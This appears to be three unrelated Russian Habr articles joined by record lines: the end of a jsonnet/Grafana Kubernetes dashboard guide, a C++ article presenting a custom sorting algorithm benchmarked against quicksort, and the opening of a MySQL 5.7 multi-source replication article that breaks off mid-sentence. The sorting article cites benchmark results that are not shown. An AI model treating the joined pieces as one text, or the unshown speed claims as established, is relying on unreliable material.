---------------------------------------------
Сначала вам нужно установить `jsonnet` и `jsonnet-bundler`.
### Jsonnet
Если вы работаете в macOS, можете воспользоваться командой `brew install jsonnet`. В противном случае лучше скомпилировать этот компонент самостоятельно.
```
git clone https://github.com/google/jsonnet.git jsonnet_git
cd jsonnet_git
make
sudo mv jsonnet /usr/local/bin/
```
Jsonnet Bundler
---------------
```
go get -u github.com/jsonnet-bundler/jsonnet-bundler/cmd/jb
```
### Импорт панелей
Создайте новый каталог для проекта и войдите в него командой `cd`.
Установите **mixin**:
```
jb init
jb install https://github.com/povilasv/kubernetes-grafana-mixin
```
Теперь создайте новый файл `config.libsonnet`.
```
local kubedashboards = import 'kubernetes-grafana-mixin/mixin.libsonnet';
kubedashboards {
_config+:: {
kubeletSelector: 'job="kubernetes-nodes2"',
kubeSchedulerSelector: 'job="kube-scheduler2"',
kubeControllerManagerSelector: 'job="kube-controller-manager2"',
kubeApiserverSelector: 'job="kube-apiserver2"',
kubeProxySelector: 'job="kube-proxy2"',
},
}
```
После этого импортируется информационная панель и перезапишутся селекторы задач (job).
> Исправьте селекторы меток Prometheus в соответствии с вашей средой.
Теперь создайте каталог `dashboards`. И наконец, запустите `jsonnet`, чтобы скомпилировать `config.libsonnet`:
```
jsonnet -J vendor -m dashboards -e '(import "config.libsonnet").grafanaDashboards'
```
Вам выведется следующий список:
```
dashboards/kube-apiserver.json
dashboards/kube-controller-manager.json
dashboards/kube-proxy.json
dashboards/kube-scheduler.json
dashboards/kubelet.json
```
Результат
---------
Выведите содержимое каталога информационных панелей.
```
ls -l dashboards
```
```
-rw-r--r-- 1 povilasv povilasv 35746 Apr 26 08:29 kube-apiserver.json
-rw-r--r-- 1 povilasv povilasv 34790 Apr 26 08:29 kube-controller-manager.json
-rw-r--r-- 1 povilasv povilasv 62845 Apr 26 08:29 kubelet.json
-rw-r--r-- 1 povilasv povilasv 27673 Apr 26 08:29 kube-proxy.json
-rw-r--r-- 1 povilasv povilasv 25650 Apr 26 08:29 kube-scheduler.json
```
Добавление информационных панелей в Grafana
-------------------------------------------
Я уже говорил, что настоятельно рекомендую размещать панели через файлы конфигурации. Подробнее узнать о том, как это делается, можно в [документации по Grafana](https://grafana.com/docs/administration/provisioning/#dashboards).
С другой стороны, ничто вам не мешает открыть [интерфейс Grafana](https://grafana.com/docs/reference/export_import/#importing-a-dashboard) и добавить панели через него.
Обновление информационных панелей
---------------------------------
Со временем панели будут меняться. Чтобы их обновить, достаточно следующей команды:
```
jb update
```
На сегодня это все.
Надеюсь, вам понравятся мои информационные панели. В отдельной статье я расскажу о том, как я их создавал и почему сделал именно такими, поэтому обязательно подписывайтесь на обновления. Подписчики видят мои работы первыми, еще до публикации.
Мне также крайне интересны ваши отзывы. Если вы использовали мои панели, оцените, насколько они оказались вам полезны, или поделитесь, если они выручили вас в реальной рабочей ситуации. Просто оставьте комментарий!
Кстати, если вы хотите поблагодарить меня за старания, можете посмотреть мой открытый [список желаний](https://www.amazon.com/hz/wishlist/ls/2NLKE1Z1SND3W?ref_=wl_share) и купить мне, например, хорошую книжку.
Я очень ценю качественные проекты с открытыми исходниками. Пакет [kubernetes-grafana-mixin](https://github.com/povilasv/kubernetes-grafana-mixin) доступен по разрешительной лицензии `Apache 2` . Если вам понравился проект, оцените его на Github! | https://habr.com/ru/post/456946/ | null | ru | null |
# Сортировка выбором минимумов (максимумов)
Многие программисты думают, что *[Quick Sort](https://ru.wikipedia.org/wiki/%D0%91%D1%8B%D1%81%D1%82%D1%80%D0%B0%D1%8F_%D1%81%D0%BE%D1%80%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0)* — самый быстрый алгоритм из всех существующих. Отчасти это так. Но работает она действительно хорошо только если правильно выбран опорный элемент (*тогда сложность составляет O (n log n)*). В противном же случае асимптотика будет примерно такой же как и у [пузырика](https://ru.wikipedia.org/wiki/%D0%A1%D0%BE%D1%80%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0_%D0%BF%D1%83%D0%B7%D1%8B%D1%80%D1%8C%D0%BA%D0%BE%D0%BC) (*то-есть O (n2)*).
При этом, если массив уже отсортирован, то алгоритм всё-равно будет работать не быстрее, чем O (n log n)
Исходя из этого, я решил написать свой алгоритм для сортировки массива, который работал бы лучше, чем quick\_sort. И если массив уже отсортирован, то не прогонять его кучу раз, как это бывает у многих алгоритмов.
> «Дело было вечером, делать было нечего», — Сергей Михалков.
Требования:
-----------
1. Лучший случай O (n)
2. Средний случай O (n log n)
3. Худший случай O (n log n)
4. В среднем быстрее быстрой сортировки
**Для понимания темы, нужно знать:**
* [Сортировка выбором](https://habr.com/ru/post/422085/)
* [Сортировка слиянием](https://habr.com/ru/post/281675/)
* [Сортировка вставками](https://habr.com/ru/post/181271/)
А теперь давайте обо всём по порядку
Чтобы наш алгоритм всегда работал быстро, нужно чтобы в среднем случае асимптотика была хотя бы O (n log n), а в лучшем — O (n). Все мы прекрасно знаем, что в лучшем случае сортировка вставками работает за один проход. Но в худшем ей придётся гонять по массиву столько раз, сколько в нём элементов.
### Предварительная информация
**Функция слияния двух массивов**
```
int* glue(int* a, int lenA, int* b, int lenB) {
int lenC = lenA + lenB;
int* c = new int[lenC]; // результирующий массив
int indx_a = 0;
int indx_b = 0;
int i = 0;
for (; i < lenC; ++i) {
if (indx_a < lenA) {
if (indx_b < lenB) { // Оба массива содержат элементы
c[i] = (a[indx_a] < b[indx_b]) ?
a[indx_a++] :
b[indx_b++];
continue;
} // Элементы есть только в первом
while (indx_a < lenA)
c[i++] = a[indx_a++];
}
else // Элементы есть только во втором
while (indx_b < lenB)
c[i++] = b[indx_b++];
break;
}
return c;
}
```
**Функция слияния двух массивов, сохраняет результат в указанный.**
```
void glueDelete(int*& arr, int*& a, int lenA, int*& b, int lenB) {
if (lenA == 0) { // если первый пустой
delete[] a; // высвобождаем от него память
arr = b; // результирующий будет вторым массивом
return;
}
if (lenB == 0) { // если второй пустой
delete[] b; // высвобождаем от него память
arr = a; // результирующий будет вторым массивом
return;
}
int *copy = glue(a, lenA, b, lenB); // сливаем
delete[]a; // удаляемо ненужные массивы
delete[]b; // удаляемо ненужные массивы
arr = copy; // изменяем указатель
}
```
**Функция, которая делает сортировку вставками в границах от lo до hi**
```
void insertionSort(int*& arr, int lo, int hi) {
for (int i = lo + 1; i <= hi; ++i)
for (int j = i; j > 0 && arr[j - 1] > arr[j]; --j)
swap(arr[j - 1], arr[j]);
}
```
[Начальная версия алгоритма (не оптимальная):](#first-version)
--------------------------------------------------------------
Основная идея алгоритма состоит в так называемом поиске максимума (и минимума). На каждой итерации выбираем из массива элемент. Если он больше предыдущего максимума, то добавляем этот элемент в конец выборки. Иначе если он меньше предыдущего минимума, то дописываем этот элемент в начало. Иначе кладём в отдельный массив.
### На вход функция принимает массив и количество элементов в этом массиве
```
void FirstNewGeneratingSort(int*& arr, int len)
```
### Для хранения выборки из массива (наши максимумы и минимумы) и остальных элементов выделим память
```
int* selection = new int[len << 1]; // то же что и new int[len * 2]
int left = len - 1; // индекс для хранения новых минимальных элементов
int right = len; // индекс для хранения новых максимальных элементов
int* restElements = new int[len]; // для элементов, которые не входят в выборку
int restLen = 0; // индекс следующего элемента для добавления
```
Как видим, для хранения выборки мы выделили в 2 раза больше памяти, чем наш исходный массив. Это сделано на случай если у нас массив отсортирован и каждый следующий элемент будет новым максимумом. Тогда будет занята только вторая часть массива выборки. Или же наоборот (если отсортирован по убыванию).
### Для выборки сначала нужны начальные минимум и максимум. Просто выберем первый и второй элементы
```
if (arr[0] > arr[1])
swap(arr[0], arr[1]);
selection[left--] = arr[0];
selection[right++] = arr[1];
```
### Собственно сама выборка
```
for (int i = 2; i < len; ++i) {
if (selection[right - 1] <= arr[i]) // проверяем на новый максимум
{
selection[right++] = arr[i];
continue;
}
if (selection[left + 1] >= arr[i]) // проверяем на новый минимум
{
selection[left--] = arr[i];
continue;
}
restElements[restLen++] = arr[i]; // если элемент не попал в выборку, он попадёт сюда
}
```
Теперь у нас есть отсортированный набор элементов, и «остальные» элементы, которые нам ещё нужно отсортировать. Но сначала нужно произвести некоторые манипуляции с памятью.
### Освобождаем неиспользуемую память
```
int selectionLen = right - left - 1; // длина выборки
int* copy = glue(selection + left + 1, selectionLen, nullptr, 0); // в данном контексте просто копирует выборку
delete[] selection; // мы выделяли 2 * len памяти, и большая её часть скорее всего просто не используется, поэтому освобождаем лишнюю память
selection = copy; // изменяем указатель, так что теперь selection содержит только значащую информацию
delete[] arr; // далее будет рекурсивный вызов, а все элементы для сортировки у нас уже есть, поэтому освободим память от исходного массива
```
### Делаем рекурсивный вызов сортировки для остальных элементов и сливаем их с выборкой
```
FirstNewGeneratingSort(restElements, restLen);
glueDelete(arr, selection, selectionLen, restElements, restLen);
```
**Весь код алгоритма (Неоптимальная версия)**
```
void FirstNewGeneratingSort(int*& arr, int len) {
if (len < 2)
return;
int* selection = new int[len << 1];
int left = len - 1;
int right = len;
int* restElements = new int[len];
int restLen = 0;
if (arr[0] > arr[1])
swap(arr[0], arr[1]);
selection[left--] = arr[0];
selection[right++] = arr[1];
for (int i = 2; i < len; ++i) {
if (selection[right - 1] <= arr[i]) // проверяем на новый максимум
{
selection[right++] = arr[i];
continue;
}
if (selection[left + 1] >= arr[i]) // проверяем на новый минимум
{
selection[left--] = arr[i];
continue;
}
restElements[restLen++] = arr[i]; // если элемент не попал в выборку, он попадёт сюда
}
int selectionLen = right - left - 1; // длина выборки
int* copy = glue(selection + left + 1, selectionLen, nullptr, 0); // в данном контексте просто копирует выборку
delete[] selection; // мы выделяли 2 * len памяти, и большая её часть в большинстве случаев просто не используется, поэтому освобождаем лишнюю память
selection = copy; // изменяем указатель, так что теперь selection содержит только значащую информацию
delete[] arr; // далее будет рекурсивный вызов, а все элементы для сортировки у нас уже есть, поэтому освободим память от исходного массива
FirstNewGeneratingSort(restElements, restLen);
glueDelete(arr, selection, selectionLen, restElements, restLen);
}
```
### Проверим скорость работы алгоритма по сравнению с Quick Sort
Как видим, это совсем не то, чего мы хотели. Почти в 6 раз дольше, чем QuickSort! Но разы в этом контексте неуместно использовать, так как здесь значение имеет именно асимптотика. В данной реализации алгоритма в худшем случае первый и второй элементы будут минимальным и максимальным. И остальные будут скопированы в отдельный массив.
Сложность алгоритма:
* Худший случай: *O (n 2)*
* Средний случай: *O (n 2)*
* Лучший случай: *O (n)*
Хм, это ничем не лучше той же самой сортировки вставками. Да, действительно мы можем найти максимальный (минимальный) элемент очень быстро, и остальные просто не попадут в выборку.
Можем попытаться оптимизировать сортировку слиянием. Для начала проверим скорость обычной сортировки слиянием:
**Сортировка слиянием с оптимизацией:**
```
void newGenerationMergeSort(int* a, int lo, int hi, int& minPortion) {
if (hi <= lo)
return;
int mid = lo + (hi - lo) / 2;
if (hi - lo <= minPortion) { // если количество элементов вмещается в минимальный блок, то выполняем нашу сортировку
int* part = glue(a + lo, hi - lo + 1, nullptr, 0); // просто копирует массив
FirstNewGeneratingSort(part, hi - lo + 1);
for (int i = lo; i <= hi; ++i) {
a[i] = part[i - lo];
}
delete[] part;
return;
}
newGenerationMergeSort(a, lo, mid, minPortion);
newGenerationMergeSort(a, mid + 1, hi, minPortion);
int* b = glue(a + lo, mid - lo + 1, a + mid + 1, hi - mid);
for (int i = lo; i <= hi; i++)
a[i] = b[i - lo];
delete[] b;
}
```
### Для простоты использования нужна какая-нибудь обёртка
```
void newMergeSort(int *arr, int length) {
int portion = log2(length); // минимальный блок для нашей сортировки
portion *= portion;
newGenerationMergeSort(arr, 0, length - 1, portion);
}
```
Результат тестирования:
Да, прирост в скорости наблюдается, но всё-же эта функция работает не так быстро, как Quick Sort. Тем более мы не можем говорить про O (n) на отсортированных массивах. Поэтому этот вариант тоже отбрасываем.
### Варианты оптимизации первого варианта
1. Для того, чтобы сложность не была O (n2), мы можем складывать элементы, которые не попали в выборку не в 1 массив как ранее, а раскинуть на 2 массива. После чего останется просто отсортировать этих две подчасти, и слить их с нашей выборкой. В результате мы получим сложность равную *O (n log n)*
2. Как мы уже заметили, абсолютно максимальный (минимальный) элемент в сортируемом массиве может найтись довольно быстро, и это не очень эффективно. Вот тут в помощь нам вступает сортировка вставками. На каждой итерации выборки будем проверять, можем ли мы вставить поточный элемент в набор из последних, например, восьми вставленных.
Если сейчас не понятно, то не расстраивайтесь. Так и должно быть. Сейчас на коде всё станет ясно и вопросы пропадут.
[Остаточный правильный вариант алгоритма:](#second-variant)
-----------------------------------------------------------
### Сигнатура такая же как и в предыдущем варианте
```
void newGenerationSort(int*& arr, int len)
```
Но следует заметить, что данный вариант предполагает первым параметром указатель, на котором можно вызвать операцию delete[] (почему — мы увидим далее). То-есть когда мы выделяли память, мы именно для этого указателя присваивали адрес начала массива.
### Предварительная подготовка
В данном примере так называемый «коэффициент навёрстывания» (catch up coefficient) — это просто константа со значением 8. Она показывает сколько максимум элементов мы попытаемся пройти, чтобы вставить новый «недо-максимум» или «недо-минимум» на своё место.
```
int localCatchUp = min(catchUp, len); // потому что мы не можем пытаться вставлять элемент за границами массива
insertionSort(arr, 0, localCatchUp - 1); // для начала сортируем первые localCatchUp элементов
if (len <= localCatchUp) // на случай если это массив на n <= catchUp элементов, а также
return; // это база рекурсии (так как при таких раскладах массив отсортирован)
```
### Для хранения выборки создаём массив
Если что-то непонятно, то смотрите объяснение в [начальной версии](#first-version)
```
int* selection = new int[len << 1]; // то же что и new int[len * 2]
int left = len - 1; // индекс для хранения новых минимальных элементов
int right = len; // индекс для хранения новых максимальных элементов
```
### Заполним первые несколько элементов массива выборки
```
selection[left--] = arr[0];
for (int i = 1; i < localCatchUp; ++i) {
selection[right++] = arr[i];
}
```
Напомню, что в левую сторону от центра массива выборки идут новые минимумы, а в правую — новые максимумы
### Создадим массивы для хранения не избранных элементов
```
int restLen = len >> 1; // то же что и len / 2
int* restFirst = new int[restLen];
int* restSecond = new int[restLen];
int restFirstLen = 0;
int restSecondLen = 0;
```
### Теперь, самое главное — правильная выборка элементов из исходного массива
Цикл начинается с localCatchUp (потому что предыдущие элементы уже попали в нашу выборку как значения от которых мы будем отталкиваться). И проходит до конца. Так что после в конце концов все элементы распределятся либо в массив выборки либо в один из массивов недо-выборки.
Для проверки, можем ли мы вставить элемент в выборку, мы просто будем проверять больше (или равен) ли он элементу на 8 позиций левее (right − localCatchUp). Если это так, то мы просто одним проходом по этим элементам вставляем его на нужную позицию. Это было для правой стороны, то-есть для максимальных элементов. Таким же образом делаем с обратной стороны для минимальных. Если не удалось вставить его ни в одну сторону выборки значит кидаем его в один из rest-массивов.
Цикл будет выглядеть примерно так:
```
for (int i = localCatchUp; i < len; ++i) {
if (selection[right - localCatchUp] <= arr[i])
{
selection[right] = arr[i];
for (int j = right; selection[j - 1] > selection[j]; --j)
swap(selection[j - 1], selection[j]);
++right;
continue;
}
if (selection[left + localCatchUp] >= arr[i])
{
selection[left] = arr[i];
for (int j = left; selection[j] > selection[j + 1]; ++j)
swap(selection[j], selection[j + 1]);
--left;
continue;
}
if (i & 1) { // i - непарное
restFirst[restFirstLen++] = arr[i];
}
else {
restSecond[restSecondLen++] = arr[i];
}
}
```
Опять же, что здесь происходит? Сначала пытаемся пихнуть элемент в максимумы. Не получается? — Если возможно, кидаем его в минимумы. При невозможности и это сделать — кладём его в restFirst или restSecond.
Самое сложное уже позади. Теперь после цикла у нас есть отсортированный массив с выборкой (элементы начинаются с индекса *[left + 1]* и оканчиваются в *[right − 1]*), а также массивы *restFirst* и *restSecond* длиной *restFirstLen* и *restSecondLen* соответственно.
### Как и в предыдущем примере, перед рекурсивным вызовом высвобождаем память от основного массива (все его элементы мы уже и так сохранили)
```
delete[] arr;
```
У нас массив *selection* может содержать много ячеек неиспользуемой памяти. Перед рекурсивным вызовом нужно освободить её.
### Освобождаем неиспользуемую память
```
int selectionLen = right - left - 1; // просто длина нашей выборки
int* copy = glue(selection + left + 1, selectionLen, nullptr, 0); // копируем все элементы выборки в новый массив
delete[] selection; // удаляем массив размером 2 * len элементов и
selection = copy; // вместо него используем ровно столько памяти, сколько нужно
```
### Теперь запускаем нашу функцию сортировки рекурсивно для массивов restFirst и restSecond
Для понимания того как оно всё отработает, сначала нужно посмотреть код до конца. Пока что нужно просто поверить что после рекурсивных вызовов массивы restFirst и restSecond будут отсортированными.
```
newGenerationSort(restFirst, restFirstLen);
newGenerationSort(restSecond, restSecondLen);
```
И, наконец, нам нужно слить 3 массива в результирующий и назначить его указателю arr.
Можно было бы сначала слить *restFirst* + *restSecond* в какой-нибудь массив *restFull*, а потом уже производить слияние *selection* + *restFull*. Но данный алгоритм обладает таким свойством, что скорее всего массив *selection* будет содержать намного меньше элементов, чем любой из *rest*-массивов. Припустим в *selection* содержится 100 элементов, в *restFirst* — 990, а в *restSecond* — 1010. Тогда для создания *restFull* массива нужно произвести 990 + 1010 = 2000 операций копирования. После чего для слияния с *selection* — ещё 2000 + 100 копирований. Итого при таком подходе всего копирований будет 2000 + 2100 = 4100.
Давайте применим здесь оптимизацию. Сначала сливаем *selection* и *restFirst* в массив *selection*. Операций копирования: 100 + 990 = 1090. Далее сливаем массивы *selection* и *restSecond* на что потратим ещё 1090 + 1010 = 2100 копирований. Суммарно выйдет 2100 + 1090 = 3190, что почти на четверть меньше, нежели при предыдущем подходе.
### Финальное слияние массивов
```
int* part2;
int part2Len;
if (selectionLen < restFirstLen) {
glueDelete(selection, restFirst, restFirstLen, selection, selectionLen); // selection += restFirst
selectionLen += restFirstLen;
part2 = restSecond;
part2Len = restSecondLen;
}
else {
glueDelete(part2, restFirst, restFirstLen, restSecond, restSecondLen); // part2 = restFirst + restSecond
part2Len = restFirstLen + restSecondLen;
}
glueDelete(arr, selection, selectionLen, part2, part2Len);
```
Как видим, если нам выгодней сливать *selection* с *restFirst*, то мы так и делаем. Иначе мы сливаем как в *«restFull»*
**Финальный код алгоритма:**
```
/// works only if arr is pointer assigned by new keyword
void newGenerationSort(int*& arr, int len) {
int localCatchUp = min(catchUp, len); // потому что мы не можем пытаться вставлять элемент за границами массива
insertionSort(arr, 0, localCatchUp - 1); // для начала сортируем первые localCatchUp элементов
if (len <= localCatchUp) // на случай если это массив на n <= catchUp элементов
return; // а также это база рекурсии
int* selection = new int[len << 1]; // то же что и new int[len * 2]
int left = len - 1; // индекс для хранения новых минимальных элементов
int right = len; // индекс для хранения новых максимальных элементов
selection[left--] = arr[0];
for (int i = 1; i < localCatchUp; ++i) {
selection[right++] = arr[i];
}
int restLen = len >> 1;
int* restFirst = new int[restLen];
int* restSecond = new int[restLen];
int restFirstLen = 0;
int restSecondLen = 0;
for (int i = localCatchUp; i < len; ++i) {
if (selection[right - localCatchUp] <= arr[i])
{
selection[right] = arr[i];
for (int j = right; selection[j - 1] > selection[j]; --j)
swap(selection[j - 1], selection[j]);
++right;
continue;
}
if (selection[left + localCatchUp] >= arr[i])
{
selection[left] = arr[i];
for (int j = left; selection[j] >= selection[j + 1]; ++j)
swap(selection[j], selection[j + 1]);
--left;
continue;
}
if (i & 1) { // i - непарное
restFirst[restFirstLen++] = arr[i];
}
else {
restSecond[restSecondLen++] = arr[i];
}
}
delete[] arr;
int selectionLen = right - left - 1; // просто длина нашей выборки
int* copy = glue(selection + left + 1, selectionLen, nullptr, 0); // копируем все элементы выборки в новый массив
delete[] selection; // удаляем массив размером 2 * len элементов и
selection = copy; // вместо него используем ровно столько памяти, сколько нужно
newGenerationSort(restFirst, restFirstLen);
newGenerationSort(restSecond, restSecondLen);
int* part2;
int part2Len;
if (selectionLen < restFirstLen) {
glueDelete(selection, restFirst, restFirstLen, selection, selectionLen); // selection += restFirst
selectionLen += restFirstLen;
part2 = restSecond;
part2Len = restSecondLen;
}
else {
glueDelete(part2, restFirst, restFirstLen, restSecond, restSecondLen); // part2 = restFirst + restSecond
part2Len = restFirstLen + restSecondLen;
}
glueDelete(arr, selection, selectionLen, part2, part2Len);
}
```
### Теперь время тестирования
**Основной код в Source.cpp:**
```
#include
#include
#include
#include
#include "time\_utilities.h"
#include "sort\_utilities.h"
using namespace std;
using namespace rela589n;
void printArr(int\* arr, int len) {
for (int i = 0; i < len; ++i) {
cout << arr[i] << " ";
}
cout << endl;
}
bool arraysEqual(int\* arr1, int\* arr2, int len) {
for (int i = 0; i < len; ++i) {
if (arr1[i] != arr2[i]) {
return false;
}
}
return true;
}
int\* createArray(int length) {
int\* a1 = new int[length];
for (int i = 0; i < length; i++) {
a1[i] = rand();
//a1[i] = (i + 1) % (length / 4);
}
return a1;
}
int\* array\_copy(int\* arr, int length) {
int\* a2 = new int[length];
for (int i = 0; i < length; i++) {
a2[i] = arr[i];
}
return a2;
}
void tester(int tests, int length) {
double t1, t2;
int\*\* arrays1 = new int\* [tests];
int\*\* arrays2 = new int\* [tests];
for (int t = 0; t < tests; ++t) { // просто заполнение массивов
int\* arr1 = createArray(length);
arrays1[t] = arr1;
arrays2[t] = array\_copy(arr1, length);
}
t1 = getCPUTime();
for (int t = 0; t < tests; ++t) {
quickSort(arrays1[t], 0, length - 1);
}
t2 = getCPUTime();
cout << "Avg Qsort time for " << length << " elements: " << (t2 - t1) \* 1000 / tests << endl;
int portion = catchUp = 8;
t1 = getCPUTime();
for (int t = 0; t < tests; ++t) {
newGenerationSort(arrays2[t], length);
}
t2 = getCPUTime();
cout << "Avg newGenSort time for " << length << " elements: " << (t2 - t1) \* 1000 / tests //<< " Catch up coef: "<< portion
<< endl;
bool confirmed = true; // проверяем идентичны ли массивы
for (int t = 0; t < tests; ++t) {
if (!arraysEqual(arrays1[t], arrays2[t], length)) {
confirmed = false;
break;
}
}
if (confirmed) {
cout << "Confirmed" << endl;
}
else {
cout << "Review your code! Something wrong..." << endl;
}
}
int main() {
srand(time(NULL));
int length;
double t1, t2;
cout << "size: ";
cin >> length;
int t;
cout << "tests: ";
cin >> t;
tester(t, length);
system("pause");
return 0;
}
```
**Реализация Quick Sort, что была использована для сравнения при тестировании:**
Небольшая ремарка: я использовал именно эту реализацию quickSort для того, чтобы всё было честно. Стандартная sort из библиотеки algorithm хотя и универсальна, но работает в 2 раза медленней представленной ниже.
```
// [min, max]
int random(int min, int max) {
return min + rand() % ((max + 1) - min);
}
void quickSort(int * arr, int b, int e)
{
int l = b, r = e;
int piv = arr[random(l, r)];
while (l <= r)
{
for (; arr[l] < piv; ++l);
for (; arr[r] > piv; --r);
if (l <= r)
swap(arr[l++], arr[r--]);
}
if (b < r)
quickSort(arr, b, r);
if (e > l)
quickSort(arr, l, e);
}
```
**getCPUTime - измерение процессорного времени:**
```
#pragma once
#if defined(_WIN32)
#include
#elif defined(\_\_unix\_\_) || defined(\_\_unix) || defined(unix) || (defined(\_\_APPLE\_\_) && defined(\_\_MACH\_\_))
#include
#include
#include
#include
#else
#error "Unable to define getCPUTime( ) for an unknown OS."
#endif
/\*\*
\* Returns the amount of CPU time used by the current process,
\* in seconds, or -1.0 if an error occurred.
\*/
double getCPUTime()
{
#if defined(\_WIN32)
/\* Windows -------------------------------------------------- \*/
FILETIME createTime;
FILETIME exitTime;
FILETIME kernelTime;
FILETIME userTime;
if (GetProcessTimes(GetCurrentProcess(),
&createTime, &exitTime, &kernelTime, &userTime) != -1)
{
SYSTEMTIME userSystemTime;
if (FileTimeToSystemTime(&userTime, &userSystemTime) != -1)
return (double)userSystemTime.wHour \* 3600.0 +
(double)userSystemTime.wMinute \* 60.0 +
(double)userSystemTime.wSecond +
(double)userSystemTime.wMilliseconds / 1000.0;
}
#elif defined(\_\_unix\_\_) || defined(\_\_unix) || defined(unix) || (defined(\_\_APPLE\_\_) && defined(\_\_MACH\_\_))
/\* AIX, BSD, Cygwin, HP-UX, Linux, OSX, and Solaris --------- \*/
#if defined(\_POSIX\_TIMERS) && (\_POSIX\_TIMERS > 0)
/\* Prefer high-res POSIX timers, when available. \*/
{
clockid\_t id;
struct timespec ts;
#if \_POSIX\_CPUTIME > 0
/\* Clock ids vary by OS. Query the id, if possible. \*/
if (clock\_getcpuclockid(0, &id) == -1)
#endif
#if defined(CLOCK\_PROCESS\_CPUTIME\_ID)
/\* Use known clock id for AIX, Linux, or Solaris. \*/
id = CLOCK\_PROCESS\_CPUTIME\_ID;
#elif defined(CLOCK\_VIRTUAL)
/\* Use known clock id for BSD or HP-UX. \*/
id = CLOCK\_VIRTUAL;
#else
id = (clockid\_t)-1;
#endif
if (id != (clockid\_t)-1 && clock\_gettime(id, &ts) != -1)
return (double)ts.tv\_sec +
(double)ts.tv\_nsec / 1000000000.0;
}
#endif
#if defined(RUSAGE\_SELF)
{
struct rusage rusage;
if (getrusage(RUSAGE\_SELF, &rusage) != -1)
return (double)rusage.ru\_utime.tv\_sec +
(double)rusage.ru\_utime.tv\_usec / 1000000.0;
}
#endif
#if defined(\_SC\_CLK\_TCK)
{
const double ticks = (double)sysconf(\_SC\_CLK\_TCK);
struct tms tms;
if (times(&tms) != (clock\_t)-1)
return (double)tms.tms\_utime / ticks;
}
#endif
#if defined(CLOCKS\_PER\_SEC)
{
clock\_t cl = clock();
if (cl != (clock\_t)-1)
return (double)cl / (double)CLOCKS\_PER\_SEC;
}
#endif
#endif
return -1; /\* Failed. \*/
}
```
Все тесты были проведены на машине на проц. *Intel core i3 7100u* и *8ГБ ОЗУ*
**Полностью рандомный массив**
```
a1[i] = rand();
```
**Частично упорядоченный массив**
```
a1[i] = (i + 1) % (length / 4);
```
**Полностью отсортированный массив**
```
a1[i] = (i + 1);
```
### Выводы
Как видим, алгоритм работает, и работает хорошо. По крайней мере всё чего мы хотели, было достигнуто. На счёт стабильности, не уверен, не проверял. Можете сами проверить. Но по-идее она должна достигаться очень легко. Просто в некоторых местах вместо знака > поставить ≥ или что-то того. | https://habr.com/ru/post/484798/ | null | ru | null |
# Multi-source репликация в MySQL5.7
Сегодня мой рассказ будет о такой захватывающей штуке, как репликация баз данных в MySQL из нескольких источников. Отмечу, что данная статья не претендует на звание «истины в последней инстанции» и призвана осветить особенности данной технологии в разрезе возникшей у меня проблемы. Итак, приступим. Однажды в далёкой-далёкой галактике...
Любое приключение начинается внезапно, так получилось и в этот раз. Специфика разрабатываемого мною приложения такова, что различные пользователи в различных офисах заполняют базу данными, но также должны видеть данные своих коллег из других отделений. Казалось бы классическая клиент-серверная архитектура в помощь, но… Однажды вечером шеф пришёл в офис и объявил новость по проекту: «Приложение должно работать в нескольких офисах, в случае разрыва соединения с центральным офисом потеря сохраняемых пользователями данных недопустима. Подумайте на этот счёт.» Ну что ж, слово сказано — давайте искать решение. Спустя некоторое время обсуждения всех аспектов проблемы между разработчиками и админами офиса был вынесен вердикт: «Нам поможет репликация!» Загуглив реализацию возможности репликации выяснилось, что multi-source репликации официально поддерживается только в версии MySQL 5.7, а на момента написания статьи она был ещё не очень стабильной. Ну да мы никуда не торопимся, авось к моменту релиза устаканится.
Если вы не знакомы с принципами репликации в MySQL, советую ознакомится с этой темой тут: [Репликация данных](http://ruhighload.com/post/Репликация+данных), [Как настроить MySQL Master-Slave репликацию](http://ruhighload.com/post/Как+настроить+MySQL+Master-Slave+репликацию).
С моей точки зрения, самый простой способ чему-то научится это практика. Приступим. Для начала определимся что нам нужно реплицировать и как мы это будем делать. Я выбрал следующую архитектуру. В офисе каждой компании работает свой промежуточный MySQL Master-сервер, который хранит данные только этого офиса. Он собирает запросы INSERT, UPDATE, DELETE от конечных пользователей. Все запросы типа SELECT пользователи отправляют на центральный, физически удалённый Slave-сервер. В случае если соединения с центральным сервером нет, то запросы SELECT направляются на офисный промежуточный Master-сервер. Связано это с особенностями репликации самого MySQL. Репликация из нескольких источников, по сути, происходит по схеме Master-Slave, в которой существует несколько Master-серверов, данные с которых синхронизируются на Slave-сервере. Как следствие, изменение данных на Slave-сервере, приведёт к ошибке репликации. К тому же, в моём случае сохранение данных поступающих от пользователей в офисах приоритетней нежели актуальность данных в выборках. В итоге общая схема работы становится такой, пользователи сохраняют свои данные на промежуточный сервер, откуда те поступают на центральный сервер, при отправлении пользователем запроса на выборку, он направляется на центральный сервер, если тот доступен или на промежуточный, если нет.
Вуаля, и овцы целы, и волки сыты. Пользователи имеют возможность сохранять свои данные не думая о доступности центрального сервера, а центральный сервер получит все данные из промежуточных серверов как только соединение с ними восстановятся.
В моём случае структура базы данных как на промежуточных серверах, так и на центральном сервере абсолютно идентична, а значит у меня есть проблема — уникальность ключевых полей. За уникальностью приходится следить самостоятельно на уровне приложения, для этого я решил в каждую таблицу базы данных добавить специальное поле, куда будет записываться номер промежуточного сервера, к которому относится эта запись.
```
Id | company_id | field1 | field2
1 | 1 | somevalue1 | somevalue1
2 | 1 | somevalue2 | somevalue2
```
Далее предстоит немного изменить структуру таблиц в базе данных на центральном сервере, таким образом чтобы поле Id не было уникальным, в итоге данные таблицы на центральном сервере будут иметь следующую структуру.
```
Id | company_id | field 1 | field2
1 | 1 | somevalue1 | somevalue1
1 | 2 | somevalue1 | somevalue1
2 | 1 | somevalue2 | somevalue2
2 | 2 | somevalue2 | somevalue2
```
В моём случае, данный подход был признан лучшим, так как данные в любом случае должны различаться по признаку принадлежности к конкретному офису, а усложнение SQL запросов типа SELECT на одно условие — незначительно.
И так, казалось бы всё просто, у нас есть схема репликации Master-Slave, в которой имеется несколько серверов типа Master и один сервер типа Slave, куда мастера по средствам бинарных логов, отправляют запросы произведённые в их базе данных, таким образом приводя в полное соответствие обе базы данных. Но давайте зададимся вопросом каким же образом Slave-сервер различает какие из запросов откуда поступили, какие из них были выполнены, а какие нет.
Дело в том что каждый бинарный лог содержит в себе определённый набор транзакций, соответствующим способом проименованный, данную задачу решает GTID идентификаторы (global transaction identifier). Каждый из MySQL-серверов участвующий в цепочке репликации должен иметь уникальный server-uuid, который находится в файле /var/lib/mysql/auto.cnf
```
